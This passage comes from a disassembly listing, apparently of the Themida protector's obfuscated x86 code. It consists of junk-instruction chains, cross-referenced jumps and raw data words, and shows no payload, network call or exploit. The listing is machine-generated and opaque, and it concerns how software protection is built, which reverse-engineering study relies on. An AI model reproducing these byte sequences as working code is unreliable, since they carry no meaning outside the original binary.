ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx jmp loc_592547 ; --------------------------------------------------------------------------- loc_5969E4: ; CODE XREF: Themida_:0058F312j pop esp jmp loc_58D503 ; --------------------------------------------------------------------------- loc_5969EA: ; CODE XREF: Themida_:0058E904j push edx push dword ptr [esp+4] mov edx, [esp] push edi mov edi, esp jmp loc_58E0CA ; --------------------------------------------------------------------------- loc_5969FA: ; CODE XREF: Themida_:00598353j sub [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 24048124h, 4, 8124048Bh, 4C4h, 50B95100h dd 81007B53h, 4ECh, 6E52E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596A2E: ; CODE XREF: Themida_:005967A0j sub esi, 0B5E1F8B6h jmp loc_59720A ; --------------------------------------------------------------------------- loc_596A39: ; CODE XREF: Themida_:0058B531j sub edx, 4 jmp loc_59687D ; --------------------------------------------------------------------------- loc_596A41: ; CODE XREF: Themida_:00590E71j mov [esp], edx mov edx, 0B14AF15Dh mov eax, edx pop edx add eax, ecx jmp loc_58E567 ; --------------------------------------------------------------------------- db 53h dd 451FAE68h, 0E3815B5Bh, 3B781E3Dh, 8C00870Fh, 0F381FFFFh dd 1B401E2Eh, 805BD889h db 0CAh, 0C3h, 5Eh byte_596A73 db 0FFh ; DATA XREF: Themida_:0058B2F8o dd 34FF2434h, 24048B24h, 0E9E08950h, 0FFFF68EFh ; --------------------------------------------------------------------------- loc_596A84: ; CODE XREF: Themida_:005980F8j pop ebp jmp loc_58DF8C ; --------------------------------------------------------------------------- dw 3C89h dd 4BF24h, 0FD010000h, 0E92434FFh, 0FFFFBF9Eh, 0F05E3C1h dd 0FF588085h, 0E38143FFh, 3D095FB5h, 0B1E3C381h db 0F7h, 0CBh word_596AB2 dw 74FFh ; DATA XREF: Themida_:0058B304o dd 48B0424h, 0A122E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596ABE: ; CODE XREF: Themida_:0058E8EDj sub esp, 4 mov [esp], ebp jmp loc_592AC9 ; --------------------------------------------------------------------------- dd 0D9895159h, 5B59CF89h, 3E99B850h, 38E94617h, 55000016h dd 0FFBE74E9h db 0FFh ; --------------------------------------------------------------------------- loc_596AE5: ; CODE XREF: Themida_:0058C942j push dword ptr [esp] jmp loc_58EFF0 ; --------------------------------------------------------------------------- db 81h, 0F6h, 92h dd 813D8258h, 5F0482C3h, 81F30158h, 5F0482EBh, 24348B58h dd 1639E9h, 0E0895000h, 405h, 4BE5600h, 29000000h, 0C965E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B1E: ; CODE XREF: Themida_:0058BCF8j push dword ptr [esp] mov edx, [esp] add esp, 4 push 6B34h mov [esp], ebx push esp pop ebx jmp loc_594DBA ; --------------------------------------------------------------------------- db 5Dh, 87h, 0EEh dd 457C681h, 8C0F353Ah, 0FFFFB934h, 2C8D0F46h, 81FFFFA0h dd 5D676CC6h, 0D5C68130h, 5FE0C9FDh, 1144B951h, 0CF210CCEh dd 8EFC159h, 8D53EF81h, 0FE21BD80h, 0E9464E5Fh, 0FFFFCD20h dd 0F1804FB1h, 59CB8869h, 3076C380h, 0F7005BDEh, 8324148Bh dd 0F80004C4h, 57241C8Bh, 51E9E789h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B9B: ; CODE XREF: Themida_:0058D5CEj push ebx mov ebx, 2F5A12BCh jmp loc_595D79 ; --------------------------------------------------------------------------- dw 6868h dd 5E65402Ah, 1533E9h, 0FB015A00h, 0FF7B52E9h db 0FFh ; --------------------------------------------------------------------------- loc_596BB9: ; CODE XREF: Themida_:0059627Cj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 0D5C1AA3h add edi, 61EA116Ah sub edx, edi pop edi not edx jmp loc_5980F0 ; --------------------------------------------------------------------------- loc_596BDB: ; CODE XREF: Themida_:00594C0Dj and bl, 65h sub bl, 2Fh add bl, 2Ch xor bl, 0B7h jmp loc_58E809 ; --------------------------------------------------------------------------- loc_596BEC: ; CODE XREF: Themida_:0058B98Aj mov ebx, 0 jmp loc_592BB9 ; --------------------------------------------------------------------------- dw 0B652h dd 24EE8076h, 6DF680h, 0E18FE9F4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596C06: ; CODE XREF: Themida_:0059626Ej push eax not dword ptr [esp] pop eax dec eax sub eax, 4E3E43A7h jmp loc_58DD3D ; --------------------------------------------------------------------------- loc_596C16: ; CODE XREF: Themida_:loc_5958AAj shl ebx, 5 js loc_597188 jmp loc_58BCEE ; --------------------------------------------------------------------------- dd 9CAC581h, 895F450Fh db 0E8h ; --------------------------------------------------------------------------- loc_596C2D: ; CODE XREF: Themida_:00595365j add eax, 1D740610h sub eax, edi sub eax, 1D740610h push esi mov esi, 6F0E7501h sub esi, 9FD093Fh add esi, 7A313264h xor esi, 6B693992h jmp loc_59480E ; --------------------------------------------------------------------------- loc_596C56: ; CODE XREF: Themida_:0058C074j pop ebx sub eax, 6AC00378h add eax, ecx add eax, 6AC00378h pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_58DDF9 ; --------------------------------------------------------------------------- dw 0D701h dd 0FF68F8E9h, 90C780FFh, 0E9CBC580h, 0FFFFDD76h ; --------------------------------------------------------------------------- loc_596C84: ; CODE XREF: Themida_:005933C9j push 431Eh mov [esp], ebp mov ebp, 58A14F1Dh sub esp, 4 mov [esp], esi mov esi, 8E427BCh mov edx, 4FBD2763h add edx, esi pop esi xor edx, ebp pop ebp add eax, edx pop edx xchg eax, [esp] mov esp, [esp] idiv cx push small 0E4Dh mov [esp], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- dw 8B5Bh dd 0C481241Ch, 4, 7425E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596CD6: ; CODE XREF: Themida_:0058B422j mov al, 2Ch add bh, al pop eax mov cl, bh pop ebx jmp loc_5961CB ; --------------------------------------------------------------------------- loc_596CE3: ; CODE XREF: Themida_:00590C4Cj pop esi xchg edx, [esp] mov esp, [esp] add bl, 2Dh jmp loc_5903E2 ; --------------------------------------------------------------------------- dw 8141h dd 0A6FBFBC1h, 14EA68B0h, 0EEE90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596D03: ; CODE XREF: Themida_:0058D6BBj ; Themida_:00591200j mov ebx, [esp] add esp, 4 mov ecx, ebx jmp loc_58D975 ; --------------------------------------------------------------------------- db 87h dd 0B4E92414h, 0E9000015h, 896h, 0F75DE821h, 8E0C1D8h dd 7577E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596D2E: ; CODE XREF: Themida_:005958CCj shr ecx, 0Bh sub esp, 4 jmp loc_5938DE ; --------------------------------------------------------------------------- loc_596D3C: ; CODE XREF: Themida_:005922E4j ; Themida_:00596EDEj push ecx mov ecx, 4FD879DEh and ecx, 271200EBh not ecx sub ecx, 14F46AD3h shr ecx, 8 dec ecx push ebp jmp loc_5985AB ; --------------------------------------------------------------------------- loc_596D5A: ; CODE XREF: Themida_:0059035Dj push cx pushf jmp loc_59752A ; --------------------------------------------------------------------------- loc_596D62: ; CODE XREF: Themida_:00597555j xor dh, 0A2h add dh, 20h and al, dh mov edx, [esp] add esp, 4 jmp loc_58FDB0 ; --------------------------------------------------------------------------- aIrh_ db '┴ЮhЁ_',0 align 4 dd 0FFC665E9h, 61EA81FFh, 4A547443h, 41C7EA81h, 0EA8116C3h dd 0F98A1B55h, 148BD589h, 4C48324h, 5708E5C1h, 9073F7BFh dd 0BAC78156h, 0E9F591D9h, 0FFFFE16Ah ; --------------------------------------------------------------------------- loc_596DB0: ; CODE XREF: Themida_:005970E9j pop esp add ebp, 4 push edi mov edi, 4 jmp loc_594021 ; --------------------------------------------------------------------------- word_596DC2 dw 30ACh ; DATA XREF: Themida_:0058B20Co dd 29B753D8h, 0E9C2C780h, 0FFFFCA19h ; --------------------------------------------------------------------------- loc_596DD0: ; CODE XREF: Themida_:0058CF06j push eax mov eax, 3BBA3534h push edx mov edx, 511C4641h add edx, 0AEE3B9BEh add eax, edx pop edx jmp loc_59626C ; --------------------------------------------------------------------------- loc_596DEA: ; CODE XREF: Themida_:0058CD28j xor ecx, 76165A92h add ecx, 0D41F2175h jmp loc_5946B7 ; --------------------------------------------------------------------------- loc_596DFB: ; CODE XREF: Themida_:0058D44Dj jo loc_593DBD jmp loc_58D9B6 ; --------------------------------------------------------------------------- loc_596E06: ; CODE XREF: Themida_:00597D8Aj add edx, 4 add edx, 4 xor edx, [esp] jmp loc_591FED ; --------------------------------------------------------------------------- loc_596E1A: ; CODE XREF: Themida_:00595E07j pop edi jmp loc_59422F ; --------------------------------------------------------------------------- loc_596E20: ; CODE XREF: Themida_:00593558j mov [esp], edi pop ebx pop edi jmp loc_590CA2 ; --------------------------------------------------------------------------- loc_596E2A: ; CODE XREF: Themida_:005900BCj sub dl, 47h jmp loc_5955CF ; --------------------------------------------------------------------------- dw 57B9h dd 29FDCFD8h, 0F90159CFh, 2C1815Fh, 87000000h, 665C240Ch dd 9C240CFFh, 0FF452AE9h, 48F5EFFh, 4215C24h, 25E99C24h dd 58FFFF84h, 405h, 0B8505700h, 10747255h, 74725135h, 0F245E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596E76: ; CODE XREF: Themida_:00592402j sub ebx, ebp pop ebp pop edx push ebp jmp loc_592173 ; --------------------------------------------------------------------------- loc_596E80: ; CODE XREF: Themida_:0058C626j not dl jmp loc_5900BA ; --------------------------------------------------------------------------- loc_596E87: ; CODE XREF: Themida_:00591BE6j pop esi shr esi, 5 jz loc_58D1D1 add esi, 3DC67BABh jnb loc_592F4D xor esi, 2B7B0F78h js loc_58D490 push edi loc_596EAA: ; CODE XREF: Themida_:00597AE9j mov ebp, 2FD326C9h push 4B5Dh jmp loc_58D6F8 ; --------------------------------------------------------------------------- loc_596EB9: ; CODE XREF: Themida_:0059522Cj push ebx mov ebx, 0F5DE3D7Bh mov ebp, ebx mov ebx, [esp] add esp, 4 add ebx, ebp mov ebp, [esp] add esp, 4 add edi, ebx pop ebx jmp loc_58F55B ; --------------------------------------------------------------------------- loc_596EDD: ; CODE XREF: Themida_:00595C07j pop ebp jmp loc_596D3C ; --------------------------------------------------------------------------- byte_596EE3 db 30h ; DATA XREF: Themida_:0058B0FCo dd 4322404h, 24043024h, 6AE9F030h, 8100000Fh, 566B3E9h dd 7AE95F6Fh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596EFF: ; CODE XREF: Themida_:00590D38j add bl, 66h push eax mov al, 0E6h jmp loc_5932D4 ; --------------------------------------------------------------------------- dw 3F2Ch dd 0FFD692E9h, 1C335EFFh, 241C3124h, 8B241C33h, 0C4812424h dd 4, 89535053h, 62F468FBh, 3C890000h, 3C8B5324h, 0FA74E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596F3A: ; CODE XREF: Themida_:00593251j mov ebx, 6F0B279Fh push esi jmp loc_596281 ; --------------------------------------------------------------------------- loc_596F45: ; CODE XREF: Themida_:0058FEFDj ; Themida_:005922B6j pop dword ptr [esp] jmp loc_594C5D ; --------------------------------------------------------------------------- loc_596F4D: ; CODE XREF: Themida_:0058DE74j jns loc_58D4C7 push esi push edx mov edx, 7A2044AFh mov esi, 96B765A4h mov eax, eax push esp loc_596F62: ; CODE XREF: Themida_:005938C0j push esp jmp loc_5951C2 ; --------------------------------------------------------------------------- dd 0D6A8E952h, 0D8F7FFFFh, 7F6F800Fh, 2F2DFFFFh, 0F6EF96Ch dd 0FFC58788h, 0C448E9FFh, 0C483FFFFh, 24148B04h ; --------------------------------------------------------------------------- loc_596F8C: ; CODE XREF: Themida_:0058D2E7j pop esi xchg ebp, [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5903A3 ; --------------------------------------------------------------------------- loc_596F9C: ; CODE XREF: Themida_:005976B0j push eax mov eax, 3E374B76h neg eax neg eax and eax, 423306D4h neg eax sub eax, 0CA009568h add edx, 1A7464Ah jmp loc_58B38A ; --------------------------------------------------------------------------- loc_596FBD: ; CODE XREF: Themida_:00595A49j movzx ax, byte ptr [eax] sub esp, 4 mov [esp], ecx jmp loc_58B3CB ; --------------------------------------------------------------------------- loc_596FCC: ; CODE XREF: Themida_:0058DFBAj xor ebx, [esp] pop esp mov [esp], eax mov al, 0F0h add al, 85h jbe loc_5975F7 dec al jnp loc_593A4C dec al loc_596FE7: ; CODE XREF: Themida_:005950E8j mov edx, 2 sub esi, 7D757527h add esi, edx push ebp mov ebp, 1813583Eh sub ebp, 6756425Ch shl ebp, 1 push esi push edi jmp loc_58B9FF ; --------------------------------------------------------------------------- loc_597009: ; CODE XREF: Themida_:005942D0j pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- db 1 dd 1C875DEBh, 60E95C24h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59701B: ; CODE XREF: Themida_:00596804j sub eax, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- db 0FFh dd 0B4E92434h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59702B: ; CODE XREF: Themida_:00595D91j xor edi, 6825AAF5h push edi xor dword ptr [esp], 3F381384h jmp loc_58F57D ; --------------------------------------------------------------------------- loc_59703E: ; CODE XREF: Themida_:005937CEj or edx, 418A6F8Eh add edx, 0F24EE73Bh add [edi+20h], edx pop edx jmp loc_58F587 ; --------------------------------------------------------------------------- loc_597053: ; CODE XREF: Themida_:00597416j shr ecx, 8 jmp loc_591FC4 ; --------------------------------------------------------------------------- db 0BFh dd 579E2DF5h, 0FFFAF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_597065: ; CODE XREF: Themida_:005903C2j mov ch, dl pop edx sub esp, 4 mov [esp], edx mov dh, 0DFh sub dh, 0FFh and dh, 0F5h jmp loc_58F823 ; --------------------------------------------------------------------------- byte_59707B db 66h ; DATA XREF: Themida_:0058B198o dd 5124048Bh, 29568h, 24248900h, 4240483h, 52240C8Bh, 0C2815A54h dd 4, 0FFE651E9h, 38F68FFh, 2C890000h, 0AFF0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5970AA: ; CODE XREF: Themida_:0058B49Aj xor ah, 28h jo loc_593C7F and ah, 28h not ah sub ah, 47h push ebx jmp loc_58C8F5 ; --------------------------------------------------------------------------- loc_5970C1: ; CODE XREF: Themida_:00591DBAj push edi push 361D27E6h pop edi neg edi neg edi jmp loc_58D13B ; --------------------------------------------------------------------------- loc_5970D1: ; CODE XREF: Themida_:00595BEDj mov esi, esp jmp loc_58D060 ; --------------------------------------------------------------------------- loc_5970D8: ; CODE XREF: Themida_:00593C63j push edx jmp loc_59814D ; --------------------------------------------------------------------------- loc_5970DE: ; CODE XREF: Themida_:0058E1FEj js loc_595231 or eax, 1FF07952h jle loc_596DB0 jmp loc_58CD2D ; --------------------------------------------------------------------------- dd 0DB9CA81h, 870F6335h, 0FFFFE4F6h, 2D81EA81h, 16E96F75h dd 59FFFF5Ah db 88h, 0E0h ; --------------------------------------------------------------------------- loc_59710E: ; CODE XREF: Themida_:00591A54j add eax, 4E763204h or edi, eax pop eax dec edi shr edi, 7 xor edi, 2E16E14Bh add edx, edi pop edi push dword ptr [edx] pop eax pop edx push dword ptr [edi+eax*4] xor dword ptr [esp], 0CC752E5h push dword ptr [esp] pop eax push edx jmp loc_593ECA ; --------------------------------------------------------------------------- db 68h dd 3039785Fh, 56240C8Bh, 0FF5336E9h db 0FFh ; --------------------------------------------------------------------------- loc_597149: ; CODE XREF: Themida_:0058BD2Fj add bl, ah mov ax, [esp] add esp, 2 sub bl, al jmp loc_58DCDD ; --------------------------------------------------------------------------- loc_59715C: ; CODE XREF: Themida_:00596596j add esp, 4 dec edx jmp loc_597961 ; --------------------------------------------------------------------------- dd 0E9612C5Ah, 0FFFFE4C7h, 0EC83F129h, 242C8904h, 0FFED08E9h db 0FFh ; --------------------------------------------------------------------------- loc_59717D: ; CODE XREF: Themida_:loc_5914D6j sub esi, 0BBCB5B60h jmp loc_58EA3A ; --------------------------------------------------------------------------- loc_597188: ; CODE XREF: Themida_:00596C19j jmp loc_59682A ; --------------------------------------------------------------------------- loc_59718D: ; CODE XREF: Themida_:loc_596495j ; Themida_:00597B6Bj add ebp, 450F09CAh pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 8124248Bh, 4C4h, 2434FF00h, 0F15AE958h, 2468FFFFh, 0E95ABA19h dd 0A7h ; --------------------------------------------------------------------------- loc_5971C8: ; CODE XREF: Themida_:00597AADj or eax, edx pop edx add eax, 0A4888298h mov edi, eax pop eax add [esp+4], edi mov edi, [esp] jmp loc_5955B9 ; --------------------------------------------------------------------------- db 5Dh dd 34FFDE01h, 0C4835B24h, 48F4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5971EE: ; CODE XREF: Themida_:00592E46j shl esi, 2 jmp loc_59657B ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 81000000h, 4EAh, 0F7E0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59720A: ; CODE XREF: Themida_:00596A34j sub eax, esi jmp loc_58DE0B ; --------------------------------------------------------------------------- loc_597211: ; CODE XREF: Themida_:005908B3j inc dl dec dl jmp loc_5903BF ; --------------------------------------------------------------------------- loc_59721A: ; CODE XREF: Themida_:005921BEj add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, 73382460h add ebx, ebp push edx mov edx, 73382460h sub ebx, edx pop edx jmp loc_592C38 ; --------------------------------------------------------------------------- loc_59724C: ; CODE XREF: Themida_:0059655Fj mov ebx, 200A0239h shr ebx, 8 push ecx mov ecx, 6AA58FCh add ebx, ecx pop ecx add eax, ebx pop ebx mov esi, [esp] jmp loc_5963CD ; --------------------------------------------------------------------------- dd 49E9DA89h, 58FFFFC5h, 4D67FA25h, 1DB3502h, 0C3896C3Fh dd 8324048Bh, 42B904C4h, 31361D32h, 5754E9D9h, 0F781FFFFh dd 0CCD3C82Dh, 66B3C181h, 0F9296F05h, 0FFFC52E9h db 0FFh ; --------------------------------------------------------------------------- loc_5972A1: ; CODE XREF: Themida_:0059042Dj add ebx, edx pop edx jmp loc_58B6E0 ; --------------------------------------------------------------------------- loc_5972A9: ; CODE XREF: Themida_:005974C5j mov [esp], cx movzx cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5972B9: ; CODE XREF: Themida_:0058FE47j add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] jmp loc_58EF98 ; --------------------------------------------------------------------------- db 89h dd 0CFE9241Ch db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5972DF: ; CODE XREF: Themida_:0058E5DDj mov ebx, ebp pop ebp mov eax, ebx pop ebx add esi, eax push dword ptr [esp] pop eax add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_595387 ; --------------------------------------------------------------------------- loc_5972FF: ; CODE XREF: Themida_:0059618Ej add al, bl jmp loc_5927C9 ; --------------------------------------------------------------------------- dw 0F0BBh dd 813EAE70h, 7873ABC6h, 81DE2910h, 7873ABEEh, 241C8B10h dd 8104C483h, 410BC6EEh, 81EE0125h, 410BC6C6h, 0EFB85025h dd 5710637h, 0CDA83901h, 0FF58C601h, 575D2434h, 0C781E789h dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 0FF4991E9h db 0FFh ; --------------------------------------------------------------------------- loc_59735D: ; CODE XREF: Themida_:loc_58C2B0j xor eax, 1B6985h xor ecx, eax push dword ptr [esp] jmp loc_59420B ; --------------------------------------------------------------------------- loc_59736C: ; CODE XREF: Themida_:00591E89j pop edx jmp loc_58C947 ; --------------------------------------------------------------------------- loc_597372: ; CODE XREF: Themida_:0059744Fj and dh, 2Bh ja loc_5946EB xor dh, 0C4h mov bl, dh jmp loc_5979A9 ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 3B22BF57h, 0C7810B0Dh, 0F4F2C4E2h, 0B3E9FD01h db 61h, 2 dup(0FFh) byte_59739F db 66h ; DATA XREF: Themida_:0058B108o dd 5724048Bh, 523D68h, 24248900h, 0FFE8EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5973B1: ; CODE XREF: Themida_:00592954j inc ecx jmp loc_58D243 ; --------------------------------------------------------------------------- loc_5973B7: ; CODE XREF: Themida_:00595C67j sub eax, 132A438Dh add eax, ebp add eax, 132A438Dh jmp loc_58DB57 ; --------------------------------------------------------------------------- loc_5973C8: ; CODE XREF: Themida_:00594A9Cj xor edx, 54EA4BE0h inc edx add edx, 100A3438h jmp loc_597AB2 ; --------------------------------------------------------------------------- dw 2C33h dd 45B6E924h, 0DDF7FFFFh, 24CCED81h, 95E9EA2Dh, 0C1FFFF60h dd 0E18102E1h, 6BC70545h, 77D4E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5973FE: ; CODE XREF: Themida_:00592447j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597403: ; CODE XREF: Themida_:00591BCAj add esp, 4 push 4CDEh jmp loc_58F9B8 ; --------------------------------------------------------------------------- loc_597413: ; CODE XREF: Themida_:005917AFj shr ecx, 6 jmp loc_597053 ; --------------------------------------------------------------------------- loc_59741B: ; CODE XREF: Themida_:0058CBAEj mov [esp], esi push eax jmp loc_58F6E1 ; --------------------------------------------------------------------------- loc_597424: ; CODE XREF: Themida_:00597790j push 775545F9h pop ebx shr ebx, 3 jmp loc_58F7FE ; --------------------------------------------------------------------------- loc_597432: ; CODE XREF: Themida_:005918DAj add ebp, 30F717B4h push eax mov eax, 0E8CD1DC3h add ebp, eax mov eax, [esp] add esp, 4 xor eax, ebp jmp loc_58E1FB ; --------------------------------------------------------------------------- loc_59744D: ; CODE XREF: Themida_:loc_58C28Ej inc dh jle loc_597372 and dh, 2Bh ja loc_59361E xor dh, 0C4h mov bl, dh mov edx, [esp] add esp, 4 push eax mov al, bl mov dl, al mov eax, [esp] push esi mov esi, esp jmp loc_595E6E ; --------------------------------------------------------------------------- loc_597479: ; CODE XREF: Themida_:005917C9j xor esi, 461B7A95h mov ebp, esi pop esi add edx, ebp pop ebp pop ebp push edx push ecx mov ecx, 348E5585h sub [esp+4], ecx pop ecx pop ecx push esi mov esi, 348E5585h add ecx, esi jmp loc_58B8A0 ; --------------------------------------------------------------------------- dword_5974A0 dd 0E9D831ADh, 10F2h; --------------------------------------------------------------------------- loc_5974A8: ; CODE XREF: Themida_:0058F786j sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edi jmp loc_58B92D ; --------------------------------------------------------------------------- loc_5974BD: ; CODE XREF: Themida_:00591692j movzx cx, ah push small 2F04h jmp loc_5972A9 ; --------------------------------------------------------------------------- loc_5974CA: ; CODE XREF: Themida_:00594B89j mov ebp, 4 add eax, ebp pop ebp add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp rep movsd add esp, [edx+38h] push ebx mov ebx, 38h sub ebx, 548A1384h add ebx, edx push edx mov edx, 548A1384h jmp loc_592DE6 ; --------------------------------------------------------------------------- loc_5974FD: ; CODE XREF: Themida_:00591768j mov ecx, esp jmp loc_58D8D1 ; --------------------------------------------------------------------------- loc_597504: ; CODE XREF: Themida_:0058BE8Ej mov edi, ebp mov ebp, [esp] add esp, 4 add [esp+4], edi pop edi jmp loc_59860D ; --------------------------------------------------------------------------- dw 860Fh dd 0FFFF4D77h, 0B252D1F6h, 7E2C024h, 0B302E2C0h db 0CDh, 5Bh ; --------------------------------------------------------------------------- loc_59752A: ; CODE XREF: Themida_:00596D5Dj jmp loc_58B37B ; --------------------------------------------------------------------------- db 89h dd 0DA015BDAh, 0FFD1895Bh, 0E95A2434h, 0FFFFD2E0h ; --------------------------------------------------------------------------- loc_597540: ; CODE XREF: Themida_:0058B553j sub ebp, ebx pop ebx push edx mov edx, 3565124Ch push edx jmp loc_592D0B ; --------------------------------------------------------------------------- loc_59754F: ; CODE XREF: Themida_:00595358j add esp, 2 jmp loc_596D62 ; --------------------------------------------------------------------------- loc_59755A: ; CODE XREF: Themida_:00590DD5j sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], eax mov ah, dl mov bh, ah mov eax, [esp] add esp, 4 mov al, bh mov ebx, [esp] add esp, 4 mov cl, al pop eax push ebx jmp loc_58E36C ; --------------------------------------------------------------------------- loc_59757F: ; CODE XREF: Themida_:00590E9Bj sub esp, 4 mov [esp], eax push ebx mov bh, 0BEh not bh dec bh add bh, 25h mov ah, bh pop ebx sub ah, 0D2h mov ch, ah jmp loc_58EBA9 ; --------------------------------------------------------------------------- loc_59759C: ; CODE XREF: Themida_:0058CDA7j ; Themida_:005903CDj pop ebp xchg edx, [esp] pop esp push 2528h jmp loc_590FCC ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4507E900h, 0D0F6FFFFh, 0C388F72Ch, 912C58h, 669104D8h dd 0E9241C8Bh, 0FFFF55F2h, 0FFADA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5975D1: ; CODE XREF: Themida_:0058EB25j mov cl, 0FDh dec cl jmp loc_58F61D ; --------------------------------------------------------------------------- dw 0C181h dd 89C8A74Fh, 8159CB01h, 4C3h, 241C8700h, 0FF59BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5975F1: ; CODE XREF: Themida_:005916A7j push edi jmp loc_58F790 ; --------------------------------------------------------------------------- loc_5975F7: ; CODE XREF: Themida_:00596FD7j dec al jnp loc_5959F5 dec al jo loc_596986 add al, 1Eh js loc_597850 xor al, 37h mov bl, al push dword ptr [esp] pop eax mov al, bh push ebx loc_59761A: ; CODE XREF: Themida_:0058D54Dj push 1E0Dh mov [esp], edi mov edi, ebx mov eax, edi mov edi, [esp] add esp, 4 jmp loc_58F8BF ; --------------------------------------------------------------------------- loc_597631: ; CODE XREF: Themida_:00593EFDj pop esp push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push 5D6Ch push 5B59h jmp loc_59340F ; --------------------------------------------------------------------------- loc_59764E: ; CODE XREF: Themida_:00592131j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_594E19 ; --------------------------------------------------------------------------- dw 489h dd 5E08924h, 4, 8904EC83h, 0BA52240Ch, 4785112h, 383BBB53h dd 0F38127C4h, 2B13628Bh, 0E16880Fh, 0E3810000h, 0F8146BBh dd 4EDC830Fh, 0EB81FFFFh, 9C148D21h, 6DE9D989h, 83FFFFE2h dd 3C8904ECh, 0BDE95224h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5976AF: ; CODE XREF: Themida_:00590E87j pop edx jmp loc_596F9C ; --------------------------------------------------------------------------- loc_5976B5: ; CODE XREF: Themida_:0059039Ej add esp, 4 jmp loc_58F041 ; --------------------------------------------------------------------------- db 81h, 0CBh, 58h dd 81096617h, 55173DE3h, 0AFE38120h, 0E9601254h, 0FFFF7A8Ch ; --------------------------------------------------------------------------- loc_5976D4: ; CODE XREF: Themida_:00597B13j add ecx, 0AA20915h pop esi pop esi jmp loc_597B18 ; --------------------------------------------------------------------------- loc_5976E1: ; CODE XREF: Themida_:0058E959j pop ecx push ecx jmp loc_598536 ; --------------------------------------------------------------------------- loc_5976E8: ; CODE XREF: Themida_:0058E4B5j push ecx push dword ptr [esp+4] jmp loc_58D368 ; --------------------------------------------------------------------------- dw 335Ah dd 0A3E9241Ch db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5976FB: ; CODE XREF: Themida_:00592D10j sub ebp, edx pop edx sub ebp, edx add ebp, 7DD45C4Fh jmp loc_58C566 ; --------------------------------------------------------------------------- byte_59770B db 0FFh ; DATA XREF: Themida_:0058B244o dd 48B2434h, 4C48324h, 505F5457h, 0FF9ECCE9h, 243489FFh dd 8124048Bh, 4C4h, 0F7485E00h, 0C4AAE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597732: ; CODE XREF: Themida_:0058C913j mov ebp, 51BA22AAh mov edx, ebp mov ebp, [esp] add esp, 4 push 0C7464B54h jmp loc_58B7BC ; --------------------------------------------------------------------------- loc_59774C: ; CODE XREF: Themida_:005954ECj mov ebp, 47640E18h add ebp, 0BEBB48B9h jmp loc_595C05 ; --------------------------------------------------------------------------- loc_59775C: ; CODE XREF: Themida_:0059458Cj add esp, 4 jmp loc_58FC40 ; --------------------------------------------------------------------------- dd 73EE815Eh, 4E2C2305h, 7C40F681h, 8A0F4BC4h, 0FFFF7706h dd 800FDEF7h, 0FFFFB681h, 0FF8A28E9h db 0FFh ; --------------------------------------------------------------------------- loc_597785: ; CODE XREF: Themida_:0058E19Aj mov edi, esp sub esp, 4 mov [esp], ebx jmp loc_597424 ; --------------------------------------------------------------------------- loc_597795: ; CODE XREF: Themida_:005983FCj pop dword ptr [esp] pop esp mov [esp], eax mov ah, 38h jmp loc_597B60 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF3BD3h ; --------------------------------------------------------------------------- loc_5977A8: ; CODE XREF: Themida_:00592F8Fj sub esi, eax pop eax xor eax, esi mov esi, [esp] push esi jmp loc_591C35 ; --------------------------------------------------------------------------- loc_5977B6: ; CODE XREF: Themida_:0058D614j pop edx push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], esi mov esi, 65CE7299h jmp loc_595069 ; --------------------------------------------------------------------------- loc_5977D3: ; 